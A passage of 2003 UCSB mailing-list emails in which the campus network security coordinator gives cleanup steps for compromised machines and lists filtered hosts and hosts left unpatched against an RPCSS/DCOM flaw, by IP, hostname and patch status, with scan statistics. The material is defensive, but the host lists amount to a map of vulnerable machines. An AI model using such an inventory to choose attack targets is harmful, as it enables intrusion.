bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists... *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.43.224 atlas.cs.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.220.82 dhcp82.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.20.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.90 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.125 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.81 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.238 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.39.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.54.9 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.126 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.184 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.25 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.125 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.21 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.78.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.101.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.14 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.191 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.220 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.221.42 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.241 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 54 RPCSS Vulnerable ............................. 147 DCOM Disabled ................................ 72 Not Vulnerable ............................... 2492 Errors ....................................... 13 TCP Port 135 Closed or Host Timeout .......... 62812 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id IAA28704 for ; Mon, 22 Sep 2003 08:15:23 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id IAA32300 for ; Mon, 22 Sep 2003 08:15:23 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A1SPL-000FLg-49; Mon, 22 Sep 2003 08:15:23 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A1SPI-000FLE-56; Mon, 22 Sep 2003 08:15:20 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A1SPI-000FKy-0F; Mon, 22 Sep 2003 08:15:20 -0700 Date: Mon, 22 Sep 2003 08:15:05 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <7460000.1064243705@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A1SPL-000FLg-49*4/Q4Qa4j4tw* Good Morning, At the end of this message you can find a list of filtered hosts and a list of vulnerable hosts. Here is what you need to do if your host is in the filtered list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists... *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.220.82 dhcp82.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.30.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.85 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.125 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.21 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.221.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 55 RPCSS Vulnerable ............................. 61 DCOM Disabled ................................ 46 Not Vulnerable ............................... 1632 Errors ....................................... 9 TCP Port 135 Closed or Host Timeout .......... 63788 TOTAL HOSTS SCANNED .......................... 65536 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA03265 for ; Mon, 22 Sep 2003 14:27:17 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA03639 for ; Mon, 22 Sep 2003 14:27:17 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A1YDF-000K9Q-9k; Mon, 22 Sep 2003 14:27:17 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A1YDB-000K9F-TZ; Mon, 22 Sep 2003 14:27:13 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A1YDB-000K9B-Nn; Mon, 22 Sep 2003 14:27:13 -0700 Date: Mon, 22 Sep 2003 14:27:13 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <177910000.1064266033@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A1YDF-000K9Q-9k*ucO/ZJWlZzE* Hello, Here is what you need to do if your host is in the filter list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists ... *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 